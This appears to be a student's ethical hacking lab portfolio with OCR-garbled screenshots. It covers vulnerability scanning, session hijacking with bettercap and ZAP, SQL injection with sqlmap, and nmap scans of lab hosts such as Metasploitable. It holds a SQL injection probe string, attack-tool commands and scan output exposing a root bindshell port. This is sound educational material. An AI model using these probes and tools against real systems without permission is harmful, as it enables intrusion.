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LAB 5: VULNERABILITY ANALYSIS

CRITICAL ANALYSIS

This lab assignment primarily covered vulnerabilities. Specifically, this involved using
scanning tools and conducting research in vulnerability databases. OpenVAS, Nessus, and Nikto
were used to execute scans against targets (such as a web server/web app or an entire system in
general) and automatically obtain information about any detected vulnerabilities. Using the
results of automatic scans and/or manual investigation techniques, an attacker or pentester can
locate known vulnerabilities — along with their accompanying details — in vulnerability databases
to better inform their findings. This information can help us identify security weaknesses, and in

some cases might lead to successful exploitation and privilege escalation.

ETHICAL CONSIDERATIONS

Like many other things in the cybersecurity field, there are both legitimate and
illegitimate reasons to perform vulnerability scanning and research. Similar to network/port
scanning in a prior lab, vulnerability scanning and research should not be conducted without

prior (ideally written) permission, and certainly not against targets out in the wild.
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REFLECTION & SCREENSHOTS

This lab took a decent amount of time (a few hours) to complete, but most of this
involved waiting for the scans to complete while I did something more productive. I was
fortunate enough to have some exposure to the vulnerability scanners in this assignment (mainly
Nessus) from my experience with the CyberForce competition, and I was at least familiar
with/aware of the vulnerability databases that we used. Even so, I’'m always surprised by the
amount of depth that each tool has/how much use can be extracted from them with enough
knowledge and practice. Because I prefer to operate from the command line when possible, I

plan to do some additional research on Nikto.
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(CWE)

Lab 1/Task 1: Perform Vulnerability Research in Common Weakness Enumeration

) || (F CWE - Search the CWE Web Site X + (e | = (| X

« C O 8 nt we mitre.org/f B v ()

Search the CWE Web Site

To search the CWE Web site, enter a keyword by typing in a specific term or multiple keywords separated by a space, and click the
Google Search button or press return.

SVB
CWE-284: Improper Access Control

cwe.mitre.org > CWE List
Authentication (proving the identity of an actor); Authorization (ensuring that a given actor can access a resource), and; Accountability (tracking of

CWE-692: Protection Mechanism Failure (4.16) - MITRE Corporation

cwe. mitre.arg » CWE List

Mapping Friendly For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record).
Example:

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
we. mitre.arg > CWE List

Wulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities. Abstraction: Class Class - a weakness that is ...
CWE-319: Cleartext Transmission of Sensitive Information
cwe. mitre.org > CWE List

This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.). Azure's ...

CWE-552: Files or Directories Accessible to External Parties

cwe mitre.org » CWE List
Mapping Friendly For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (2.q., a CVE record).
Example

CWE-295. Imorgper Cedificate Validation (4 161 - MITEE Corporation
mOPu O CHE

150 AM
% ys0s @

A Screenshot 1

B || (F CWE- CWE-1430: Weaknesses | X + (| - (| X
« C O 8 nt wemitre.org 4 B v ® @& &H =

CWE VIEW: Weaknesses in the 2024 CWE Top 25 Most Dangerous
Software Weaknesses
View ID: 1430

Yulnerability Mapping: PROHIBITED
Type: Graph

Downloads: Booklet | €SV | XML
¥ Objective
CWE entries in this view are listed in the 2024 CWE Top 25 Most Dangerous Software Weaknesses.
¥ Audience
¥ Relationships

The following graph shows the tree-like relationships between weaknesses that exist at different levels
of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which
are not technically weaknesses) are special CWE entries used to group weaknesses that share a common
characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-
level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically
independent of any specific language or technology. Base level weaknesses are used to present a more
specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically
limited to a specific language or technology. A chain is a set of weaknesses that must be reachable
consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses
that must all be present simultaneously in order to produce an exploitable vulnerability.

Show Details: []

Expand All | Collapse All

1430 - Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
— . @ Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
— - @ Out-of-bounds Write - (787)
— - @ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - ¢9)
— - & Cross-Site Request Forgery (CSRF) - (352)
— - L? Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - ¢22)

‘=p|- H O = Qﬁ! Al;?ﬂoz:::::sne
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Lab 1/Task 2: Perform Vulnerability Research in Common Vulnerabilities and

Exposures (CVE)

B CVE - Search Results x | + - _ = ~

« C 0 Aa mitre.org B ¢ ()

Search CVE List 0 t ed Update a CVE d Request CVE IDs

TOTAL CVE Records: 240830
NOTICE: Transition to the all-new CVE website at WWW,CVE.ORG and CVE Record Format JSON are underway.

NOTICE: Support for the legacy CVE download formats ended on June 30, 2024.
New CVE List download format is available now on CVE.ORG.

Search Results
There are 600 CVE Records that match your search.

Name Description

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix double free of
TCP_Server_Info: hostname When shutting down the server in cifs_put_tcp_session(), cifsd thread might be
reconnecting to multiple DFS targets before it realizes it should exit the loop, so @server->hostname can't be
freed as long as difsd thread isn't done. Otherwise the following can happen: RIP:
0010:__slab_free+0x223/0x3c0 Code: Se 41 5f ¢3 ¢ ¢¢ cc ¢¢ 4¢ B9 de 4¢ 89 cf 44 89 44 24 08 4¢ B9 1c 24 eB
fb cf Be 00 44 Bb 44 24 08 4c Bb 1c 24 &9 Sf fe ff ff <Of> Ob 41 f7 45 08 00 0d 21 00 Of 85 2d ff ff ff e9 1f ff ff
ff 80 RSP: 001B:ffffb26180dbfd08 EFLAGS: 00010246 RAX: ffffBea34728e510 RBX: ffffBea34728e500 RCX
0000000000800068 RDX: 0000000000800068 RSI: 0000000000000000 RDI: ffffBea340042400 RBP:
ffffe112041¢a380 RO8: 0000000000000001 RO9: 0000000000000000 R10: £170732e31303000 R11:
70726f632e786563 R12: ffffBea34728e500 R13: ffffBea340042400 R14: ffffBea34728e500 R15:
0000000000800068 FS: 0000000000000000(0000) GS: ffffBeatsfdB0000(0000) 000000 CS: 0010 DS: 0000
ES: 0000 CRO: 0000000080050033 CR2: 00007ffc25376080 CR3: 000000012a2ba001 CR4: PKRU: 55555554
Call Trace: <TASK> ? show_trace_log_Ivl+0x1c4/0x2df ? show_trace_log_lvl+0x1c4/0x2df ?
__reconnect_target_unlocked+0x3e/0x160 [cifs] ? __die_body.cold+0x8/0xd ? die+0x2b/0x50 ?

e O ce O] o i e O S O S e L e oL e O e OB Ll free+0X223/0x3¢0 2

m P EODO-CH e A~ o @

A Screenshot 1
- T 0 |

5] | W CVE-2025-21673 | CVE x| + ] _ o x

CVE-2025-21673 pueusie B ViewJSON | B User Guide

Required CVE Record Information

CNA: kernel.org -

Published: 2025-01-31 Updated: 2025-01-31
Title: Smb: Client Fix Double Free Of TCP_Server_Info::Hostname

Description

Inthe Linux kernel, the following vulnerability has been resolved: smb: client fix double free of TCP_Server_Info: hostname When shutting
down the server in cifs_put_tcp_session(), cifsd thread might be reconnecting to multiple DFS targets before it realizes it should exit the
loop, so @server->hostname can't be freed as long as cifsd thread isn't done. Otherwise the following can happen: RIP:

0010 __slab_free+0x223/0x3c0 Code: Se415fc3 ccccccccde 89dedc 89 cf44 8944 24 08 4c 89 1c 24 e fb cf Be 0044 8b 44 24
08 4c 8b 1c 24 e9 5ffe ff ff <0f> Ob 41 f7 45 08 00 0d 21 00 Of 85 2d ff ff ff @9 1 f ff ff 80 RSP: 0018:fffb26 180dbfd08 EFLAGS
00010246 RAX fiif8ea34728e510 RBX. ffif8ea34728e500 RCX: 0000000000800068 RDX: 0000000000800068 RSI
0000000000000000 RDI: fif8ea340042400 REP: fffe112041ca380 ROS: 0000000000000001 RO9: 0000000000000000 R10
8170729421202 Q00 0. 0o ZOSEL2 Do oo o AT 00 Ea0 Dot o0 4000000 D dL e o e A28 oF NN DAE

-‘=,OI.|]D-C-! "‘;?‘05391:;9
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(NVD)

= @ wo - cve-2025-0861 X |+

L O 8

JKCVE-2025-0861 Detail

nist.gow,

Description

ect &share quotes) plugin for WordPress is vulnerable to

TheVR-Frases (co

SQLInjectionvia several parametersin all versions up to, and including, 3.0.1
due toinsufficient escaping on theuser supplied parameter and lack of
sufficient preparation on the existing SQL query. This makes it possible for
unauthenticated attackers to append additional SQL queries into already
existing queries that can beused to extract sensitiveinformation from the
database.

Metrics

CVSSVersion 2.0

CVSSVersion 4.0

WD enrichment efforts reference publicly available information to associate

vector strings. CVSS information contributed by other sources is also disployed
CVSS 3.x Severity and Vector Strings:

Base Score: |[EHIGH]

Vector: CVSS:3.1/AV:N/AC:L/PR:H/ULN/S:U/C:H/EH/AH

\ P}

NIST: NVD

CNA: Base Score:

O Q-

4.9 MEDIUM

A Screenshot 1

5 B WD - cvssa Caleulstor X |+

« ] O 8

nist.gov.

Exploitability Metrics
Attack Vector (AV)*

RESTCREAAN I Adjacent Network [AV:A)

Attack Complexity (AC)*
High (AC:H)
Privileges Required (PR)*
None (PR:N) Low(PR:L)
User Interaction {(UI}*
Required (UR)
Scope (S)*
Unchanged (S:U)
Impact Metrics
Confidentiality Impact (C)*

None(CN)  Low(CL)

Integrity Impact {I)*

None(iN)  Low(k:L}

Availability Impact (A)*

Low(AL)

Local (AV:L)

Physical (AV:P)

High (PR:H)

Changed (S:C)

None (A:N)

*-All base metrics arerequired to generate a base score,

o DO =

<

<
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Lab 1/Task 3: Perform Vulnerability Research in National Vulnerability Database

™ —

B ® @

QUICK INFO

CVE Dictionary Entry:
NVD Published Date:
01/30/2025

NVD Last Modified:
01/31/2025

Source:

Wordfence

a e

Base Score Metrics

a ~ e

1@

207 AM
A% 00 ©

2:09 AM
2/3/2025 9
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Dashboards Assets Resilience Secinfo Configuration Administration
@ T L Filter OXOQF - v

RepoMon, Feb 3, 2025
rt: 10:16 AM UTC

Information Results Hosts Ports Applications Operating CVEs Closed TLS Error User
(4of56)  (1ofl) (2of (Tof Iy Systems (2 of CVEs Certificates Messages Tags
18 (10f1) 1 (17 of 17) (10f1) (00f0) (0)
1-4ofa
Host
Vulnerability ’ Severity ¥ QoD Location Created
P Name
Report outdated / end-of-life Scan Engine / [ 1000 High) ] Mon, Feb 3, 2025
Environment (local) & % w0z generaltcp 1517 aM UTC
DCE/RPC and MSRPC Services Enumeration Reporting <5 TOTTEN 80% 10.10.1.22 135/tcp ?;;;ﬁ:’&;cnﬁ
SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol -~ Mon, Feb 3, 2025
etection 5 OTITTEE  98% 10.10.1.22 3389/tcp 10:28 AM UIC
- Mon, Feb 3, 2025
TCP timestamps = 80% 10.10.1.22 generalftcp 095 am UTC
1-40f4

nunity @ D

Dashboards Assets Resilience Secinfo Configuration Administration

< Tasks 2 of 2

oo

Resuits per Host

[} 1-20f2
Name & Status Reports  Last Report Severity Trend Actions
Fe -
immediate scan of IP 10.10.1.22 [ oo o\ heb 2 2028 1046 [/ [ =Y
Immediate scan of IP 10.10.1.22 [ Done Y I:;nl:':gb LI Pl

Apply to page contents ¥ > @ L’
1-20f2
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Lab 2/Task 2: Perform Vulnerability Scanning using Nessus

“— V] Q O~ localhost
@ There's an errar with yaur feed. Click here o view
Configure  Audit Trail
& MyScans ‘
Il Scans
— H 1 Vulnerabilities 3o N 1 1
B Trash
Filter =
Palicies Sev - Score < Name - Family Caunt «
Plugin Rules
| hinio | SSL{Mul..  General 9
Terrascan
[ v | SNMP { SNMP 7
[ e | Micrasaf, 2
[ o | « TLS(Mul. Service detection 4
Mitrosaf..  Misc 2
INFO HTTP {M Web Servers ?
0] SMB(Mu. Windaws 7
Tenable News L] TLS(Mul..  General 2
Microsatt Azure Alf e R
ML Studio e peE s 17
Infor mation
Disclosur o Service Detec..  Senvice detection
Read Mare
meo DNS 2

A Screenshot 1

(2] Nessus Essentials / Folders +
“— V] Q O~ localhost
Netwe Canfigure  Audit Trail
& MyScans ‘ vunenl .
& Al Scans
He 1 Vulnerabilities 3& 1 1
f Trash
B ssi. Medium Strength Cipher Suites Supported (SWEET32)
Pali
Q Faiiies Description
Fiugin Rules The remate hast supparts the use of S5L riphers that offer medium strength encryption. Ne: ds medium
® Terascan strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, ar else that uses the 3DES
- encryption suite.
Nate that it is cansiderably easier ta rimumwent medium strength encryption if the attacker is on the same physital
netwark
Salution
Recanfigure the afferted applicatian if passib) vaid use of medium strength ciphers
See Ao
nss 5o
Output
Tel News
Progress WhatsUp Mediun Ssrengsh Ciphers (> 64-biv and < 112-bis key, or IDES)
Gold NmAP!.exe .
= Code wwx Mash  Drarreien
Overwrite.. ~ emmeememeemmmmeeen e
Read Mare 0 0A B3 DES-CBC(188)

Page 10 of 37

Launch = Repat  Expart ~
Scan Details
Pality NetwarkScan_Pality
Status Completed

Severity Base

Scanner Lacal Scanner
Start Today at 310
End Today at 327
Elapsed 1B minutes

Vulnerabilities

Launch

Plugin Details

Severity
1o
Versian
Type
Family
Published
Modified

Risk Infor mation

Risk Factar: Medium
CVS5 v3.0 Base Score 7.5

SUCHANAN
) Base Scare: 5.0

0 Vertor CVSS284/

Vulnerability Information

Vulnerabi

In the news: true

Repart

Pub Date: August 24,

AM

Export

3.0 Vectar: CVS53.0/8¢ NJAC UPRINJULN/

NAAC L/Au NJCPIENS

Do %
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Lab 2/Task 3: Perform Web Servers and Applications Vulnerability Scanning using CGI

Scanner Nikto

Parrot Security

CEHV12 Mc
Hacking
Applications

2] @ |
7:16:07 AM

~ @@ 0 QN Ty

Screenshot2 V

% nikto -h https://www.ce

A Screenshot 1

attacker's

o
Tra

—_—

CEHv12 Mc
Hacking
Serve

2] @ |
7:16:41 AM

~ @@ 0 N

% nikto -h https://www.ce
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LAB 11: SESSION HIJACKING

CRITICAL ANALYSIS

This lab module covered session hijacking, which is the set of techniques that attackers
use to steal an access token or otherwise access gain unauthorized access to a session. Someone
could (for example) initiate a man-in-the-middle attack, sniff the desired traffic, and use this
intercepted data to establish communications with a server as if they were the “real”
authenticated user. This lab primarily demonstrated the concept of session hijacking by showing
and explaining how one might use tools such as OWASP ZAP, bettercap, and Hetty to hijack a
session. In addition, the second portion of the lab utilized Wireshark to illustrate how some

hijacking techniques work and what their potential indicators might be.

ETHICAL CONSIDERATIONS

I think it goes without saying that a lot of the knowledge and skills that information
security professionals need can be twisted/used in malicious ways, and this is especially true for
a penetration testing class. Although it would still not be a good idea to use them out in the wild,
there are some techniques that I could at least see legitimate positive intentions behind (e.g., port
scanning). However, I cannot say this for session hijacking. As far as I’'m concerned and aware,

session hijacking should be done exclusively with permission.
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REFLECTION & SCREENSHOTS

Although the tasks were shorter in this module than most of the prior weeks, I enjoyed
the labs and was interested in learning more about session hijacking. I understand that our labs
are designed to make it easy to observe and understand these concepts, but [ was also surprised at
how easy some of the tools made it to do some potentially very malicious/nasty things — even if

it would probably (and/or hopefully) take more effort for a real attacker to do against real targets.
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Lab 1/Task 1: Hijack a Session using Zed Attack Proxy (ZAP)

Settings

Admin
Local Account

Find a setting

System
Bluetooth & devices
Network & internet

Personalization

BE \N ¢ ©o 1

Apps

Accounts

@ (e

Time & language
Gaming
Accessibility

Privacy & security

@ @ > @

Windows Update

A Screenshot 1

@ Sites T

@ Le

Contexts
'] Default Context

@ Sites

= History ' Search

Id Source

Alets W0 R0

W) OWASP ZAP - OWASP ZAP 2.11.1
File Edit View Analyse Report

Standard Mode = b e

U Alerts
@ e Filter: OFF ¢ Export

Req. Timestamp

0 M0 Primary Proxy. 10.10.1.19:8080

Network & internet > Proxy

Hen & memins smmins fns Ebbncmnt e WL B manmnctbinns Thass absinne Aan't anply to VPN connections.

Edit proxy server

Use a proxy server

@ o

Proxy IP address Port

1010119 8080 Setup

Use the proxy server except for addresses that start with the following entries,
Use semicolons () to separate entries.

Edit

Don't use the proxy server for local (intranet) addresses

Save Cancel

MmO DA€ m

~ @ @ v

Import  Online Help

S 2 EE6 d oV 910 Q X @ =oee
QuickStat =¥ Request ¢ Response X Break +
Header: Text Body: Text -

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsoft-115/10.@
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Tue, 18 Feb 2025 ©3:07:43 GMT
Content-Length: 4326

html 1ns="http w.w3.0rg/199 html
head
me
m
idt i idt sle=1, minimum-scale=1 imt le=1
Output -
URL Code Reason RTT Size Resp.Body HighestAlert Note

CurrentScans @0 £0 ®0 20 @0 ¥o

2 E

~ @ @ Fw
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Screenshot2 V

7:07PM
2/17/2025

X
Tags B
/0 #o

0

10:07:57 PM
2/17/2025




PoORTFOLIO | Ethical Hacking Labs

Will Kittredge

Lab 1/Task 2: Intercept HTTP Traffic using bettercap

[= ¥ 2 Parrot Security

S ESY

File Edit View Search Terminal Helg
[

err
.13

BREY »
| i ihttp. proxyl

> 10.10.1.13

> 10.10.1.13
> 10.10.1.13
> 10.10.1.13

> 10.10.1.13 BN |
% Dbettercap -iface ethO - ...

A Screenshot 1

Parrot Security

> 10.10.1.13
> 10.10.1.13

% bettercap -iface ethO - ...

Page 15 of 37

] e |

~ @ @ Fwn

Screenshot2 V

] o |

~ @ @ Jun

10:25:32 PM
2/17/2025

10:30:45 PM
2/17/2025
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Lab 1/Task 3: Intercept HTTP Traffic using Hetty

[l Wi
X+

O DO localhost

Hetty:// Proxy logs

arch proxy log

Method Origin
0K
0K
bittp # www. moviesco.. / 0K
hitp://update. google /service/update2/json 0K

a8 e = rertrarer il rara o] e datard| F el e reraf) A senraarall catarrasare arth K ewrara e m e Nanklial Pantant

Select a log entry...

7:37 PM

& 20 @

A Screenshot 1 Screenshot2 V

X |+

O O locathost

Q

Status
//fonts.googleap Hamily=PT+Sans @ 404 Not Found
http #/ www.moviesco findex.aspx @ 206 0K
http//www.moviesco... / ® 302 Found

http:// edged|. me.gvt1 /edged|/release2/chrome_component/adrovrpque. ® 206 0K

POST /

y (128 bytes) @ HepTPEAI 302 Found

Query Params

10:39:52 PM
~ @@ Qw 2/17/2025
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> 10.10.1.13
> 10.10.1.13
> 10.10.1.13

> 10.10.1.13

> 10.10.1.13

> 10.10.1.13
> 10.10.1.13
> 10.10.1.13
> 10.10.1.13
> 10.10.1.13
> 10.10.1.13
> 10.10.1.13

> 10.16.1.13

o
o
2

> 18.16.1.13

% bettercap -ifac

=

- @ ’—,? a) 10:45:13 PM

2/17/202!

A Screenshot 1 Screenshot2 V
T 0

~

& Capturing from Ethemet - a by
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
A %E ] Tiz =E@aam
I =)
No. Time: Source Destination Protocol  Length Info
12443 150,523611  MS-NLB-PhysServer-2. Broadcast ARP 42 Who has 10,10.1.1417 Tell 10.10.1.13
12444 150.534157  MS-NLB-PhysServer-2. Broadcast ARP 42 Who has 10.10.1.1427 Tell 10.12.1.13
12445 150.540616  MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.10.1.447 Tell 10.10.1.13
12445 150. MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.10.1.457 Tell 10.10.1.13
12447 150. MS-NLB-PhysServer -2 Broadcast ARP 42 Who has 10.10.1.437 Tell 10.12.1.13
12448 15@. 54 MS-NLB F‘h_\,sierver Broadcast ARP 42 Who has 10.10.1. 37 Tell 10.102.1.13
12449 150.554392  MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.10.1.1447 Tell 10.12.1.13
12450 150.564905  MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.108.1.1457 Tell 12.12.1.13
12451 150.572 MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.10.1.487 Tell 10.12.1.13
12452 150.572702  MS-NLB-PhysServer-2. Broadcast ARP 42 Who has 10.10,1.477 Tell 12,12.1.13
12453 150.572705 Broadcast ARP 42 Who has 10.10.1.467 Tell 10,12.1.13
12454 150,573 Broadcast &RP 42 Who has 10.108.1.1467 Tell 10.12.1.13
12455 150.585305  MS-NLB-PhysServer-2. Broadcast ARP 42 Who has 10.10.1.1477 Tell 10.10.1.13
12456 150.595777  MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.10.1.1487 Tell 10.10.1.13
12457 150.604477  MS-NLB-PhysServer-2. Broadcast ARP 42 Who has 10,10,1.517 Tell 12,12.1.13
12458 150.604486  MS-NLB-PhysServer-2. Broadcast &RP 42 Who has 10.10.1.507 Tell 10.10.1.13
12459 158 M5-NLB-PhysServer -2.. Broadcast ARP 42 Who has 10.10.1.497 Tell 10.10.1.13
1246@ 150, M5-NLB-PhysServer -2.. Broadcast ARP 42 Who has 10.10.1.1497 Tell 10.12.1.13
12461 150@. MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.10.1.157 Tell 10.10.1.13
124862 15@. J\L-NLE-P?\yhicr'v:r' Broadcast ARP 42 Who has 10.10.1.1517 Tell 12.10.1.13
12463 150.636560  MS-NLB-PhysServer-2- Broadcast ARP 42 Who has 10.10.1.547 Tell 10.19.1.13
Frame 1: 55 bytes on wire (44@ bits), 55 bytes captured (44@ bits) on interface \Device\WPF_{SA9B3588-F593-4023-6986-DCC29ADE1114}, id @
Ethernet II, Src: Microsof 01:80:00 (@0:15:5d:01:82:00), Dst: MS-NLB-PhysServer-21 5d:37:a3:c2 (@2:15:5d:37:a3:c2)
Internet Protocol Version 4, Src: 1@.10.1.11, Dst: 10.10.1.19
Transmission Control Protocol, Src Port: 12421, Dst Port: 82880, Seq: 1, Ack: 1, Len: 1
@2 15 5d 37 a3 c2 @0 15 5d @1 80 00 08 0@ 45 20 ]7 ] E
@0 29 3c 3 42 00 80 @6 @2 @2 Qa2 02 @1 @b @a a y<-@
@1 13 3@ 85 1f 90 06 05 29 37 02 65 Sa 3b 50 1@ Q )7-eZ;P
20 03 16 4d 00 20 00 H
Microsoft Edge
O 7 Ethemet: <ive capture in progress> Packats: 14640 ' Displayed: 14640 (100,0%) Profile: Default
Mo QO aCo 4 = o

10:46:13 PM

~ -8 17/2025

7 )
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LAB 15: SQL INJECTION

CRITICAL ANALYSIS

The module 15 labs consisted of SQL injection tasks, including detecting vulnerabilities
and performing attacks directly. Various tools exist to automate these processes (or at least parts
of them), but attacks and scans can also be carried out using more manual methods. We manually
typed malicious queries and used small scripts to do attacks and scans, but we also got practice
using tools like sqlmap| and OWASP ZAP that largely removed the need for user interaction
beyond initiating an attack/scan and confirming options. There is something to be said for both
approaches, so one should not rely exclusively on a single method. A practical way of utilizing
both might be to use tools and automation to detect and test potential injection vulnerabilities,

and then use manual techniques to continue investigating if necessary.

ETHICAL CONSIDERATIONS

Scanning for SQL injection vulnerabilities is like other types of scanning in the sense that
it is not necessarily always malicious — however — it should still be performed with care and only
with permission. When it comes to doing actual injection attacks, I can’t see how initiating one

without permission could ever be construed as ethical.
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REFLECTION & SCREENSHOTS

This module went by relatively fast due in part to some background knowledge and
experience I have with SQL injection attacks, and also because there were relatively few
labs/tasks. SQL injection attacks are probably the category that I’'m most familiar with, though
this is not to say that ’'m by any means an expert. Most of the tools that we used or learned about

were unfamiliar to me, so it was surprising to see how many there are and what they can do.
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Lab 1/Task 1: Perform an SQL injection at

4 SQLQueryl.sql - SERVER2019\SQLEXPRESS.

tack on an MSSQL database
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Lab 1/Task 2: Perform an SQL injection attack against MSSQL to extract databases
using sqlmag

/root/.local/share/sqlmap/output/
scope.com

2] o |

~ @& @ 0 Jn

A Screenshot 1 Screenshot2 V

er Login
User_Login

er Login.cs

% Parrot Terminal M 2] @ |

~ @ ® § Qo D2
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Lab 2/Task 1: Detect SQL injection vulnerabilities using DSSS

& c @

) Getting Started

Pz curity

Ms Home - MovieScope

G moviescope.com

| View Profile

sam profile
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Email:
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Lab 2/Task 2: Detect SQL injection vulnerabilities using OWASP ZAP

Windo

) OWASP ZAP - OWASP ZAP 2.11.1
File Edit View Analyse Report Tools Import Online Help
Standard Mode B e g A *EDE a0 dad O % W -ue e
@sites 4 & QuickStart #  =b Request <= Response ¢
@B
= <
Automated Scan
Default Context
@ Sites
This screen allows you to launch an automated scan against an application - just enter its URL below and
press ‘Attack’
Please be aware that you should only attack applications that you have been specifically been given permission
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Use traditional spider
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@ D NewScan Progress: 0: hitp/www.moviescope.com &= BN ¢ Current Scans:0 Num Requests: 1220 New Alerts: 1 & Export
Sent Messages Filtered Messages
Id Timestamp Resp. Timestamp Method URL Code Reason RTT Size Resp. Header Size Resp. Body [®]
1,257 223125, 11:05:27PM  2/23/25, 110527 PM  GET hitp-/iwww.moviescope.comyjs/script js?nam. 200 OK 49 260 bytes 585 bytes
1 2/23/25,11:05:28 PM 272 11.0528PM  GET hitp:/Mwww.moviescope.com/robots bt 404 NotFound 3ms 200 bytes 4,860 bytes
1,259 2/23/25,11:0528 PM 223125, 11:0528 PM  GET hitp:/Mwww.moviescope.com/js?name=abc 403 Forbidden 3ms 200 bytes 5,099 bytes
1260 2/23/25,11:05:30 PM  2/23/25, 11:05:30 PM  GET hitp:/Awww.moviescope com/sitemap xmi 404 NotFound 6ms 200 bytes 4,862 bytes
1261 2/23/25,11:.05:32PM  2/23/25, 11.05:32PM  GET hitp:/Mww.moviescope.com/robots td?name. 404 NotFound 2ms 200 bytes 4,869 bytes
1,262 2/23/25, 11:05:34 PM  2/23/25,11.0534 PN GET hitp:/www.moviescope.com/sitemap xmi?na. 404 NotFound 2ms 200 bytes 4,871 bytes
1,263 2/23/25,11:05:38 PM  2/23/25, 11:05:38 PM  GET hitp:/Awww.moviescope.com/css 301 Moved Per.. O0ms 225 bytes 153 bytes
1,264 25,11:05:39 PM 212325, 11:0539 PM  GET hitp/www.moviescope.comimages 301 MovedPer.. O0ms 228 bytes 156 bytes
1,265 /25,11.05:39 PM  2/23/25, 110539 PM  GET hitp:/iwww.moviescope.com/js 301 MovedPer.. O0ms 224 bytes 152 bytes
1,266 2/23/25, 11:.05:39PM  2/23/25, 11.0539PM  GET hitp:/www.moviescope.comicss 301 MovedPer.. O0ms 225 bytes 153 bytes
Alerts W2 M1 {4 P 1 PrimaryProxy lod Google Chrome CurrentScans 0 §0 @0 20 @0 o0 /

§ 206:50 AM
A~ @@ 0 LD s

erver 2019
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P Information Disclosure - Suspicious Comments
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[ZAP OR'1'=1'~]

The parameter value being modified was NOT stripped from the HTML output for the purposes of the
Solution
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ASSESSMENT 1: SCANNING AND FOOTPRINTING

SOFTWARE

e Kali Linux 2021.4
e Nmap 7.92

ASSESSMENT

The purpose of this assessment was to conduct scanning and footprinting activities in

order to reveal information about each target system. All scans were conducted using the

command nmap -sS -sU -sV -0 <IPv4 address>. The information gathered during this

stage (running services, version numbers, etc...) may become useful in later assessments.

Ipv4 Hostname OS Open Ports
. . 23, 80, 135, 137, 138, 139, 161, 445, 500, 1433,

192.168.1.10 312ville Windows 7 2383, 4500, 5355, 49152-57
21, 22,23, 25, 53,69, 80, 111, 137, 138, 139, 445,
192.168.1.40 MSP2 Metasploitable 2 | 512, 513, 514, 1099, 1524, 2049, 3306, 5432,
6667, 8009, 8180, 49393
22,80, 137, 138, 139, 143, 443, 445, 5001, 8080,
8081

192.168.1.50 | OWSPBWA | Linux kernel 2.6.x
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Nmap scan report for 192.168.1.10

Host is up (0.00017s latency).

Not shown: 994 closed udp ports (port-unreach), 987 closed tcp ports (reset)
PORT STATE SERVICE VERSION

23/tcp open telnet Microsoft Windows XP telnetd

80/tcp open http Microsoft IIS httpd 7.5

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (work
group: WORKGROUP)

1433/tcp open ms-sql-s Microsoft SQL Server 2008 10.00.1600; RTM
2383/tcp open ms-olap4?

49152/tcp open msrpc Microsoft wWindows RPC

49153/tcp open msrpc Microsoft wWindows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft wWindows RPC

49157/tcp open msrpc Microsoft wWindows RPC

137/udp open netbios-ns Microsoft Windows netbios-ssn (workgroup: W
ORKGROUP)

138/udp open|filtered netbios-dgm

161/udp open|filtered snmp

500/udp open|filtered isakmp

4500/udp open|filtered nat-t-ike

5355/udp open|filtered 1lmnr

MAC Address: 00:50:56:8E:46:D1 (VMware)

Device type: general purpose

Running: Microsoft Windows 7|2008|8.1

0S CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::spl cpe:/o:mic
rosoft:windows_server_2008::spl cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:m
icrosoft:windows_8 cpe:/o:microsoft:windows_8.1

0S details: Microsoft Windows 7 SP@ - SP1, Windows Server 2008 SP1, Windows Serv
er 2008 R2, Windows 8, or Windows 8.1 Update 1

Network Distance: 1 hop

Service Info: Host: HOST1; 0Ss: Windows XP, Windows; CPE: cpe:/o:microsoft:windo
ws_xp, cpe:/o:microsoft:windows

Screenshot of 192.168.1.10 scan results.
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Nmap scan report for 192.168.1.40

Host is up (0.00016s latency).

Not shown: 993 closed udp ports (port-unreach), 980 closed tcp ports (reset)
PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp  open login?

514/tcp open tcpwrapped

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

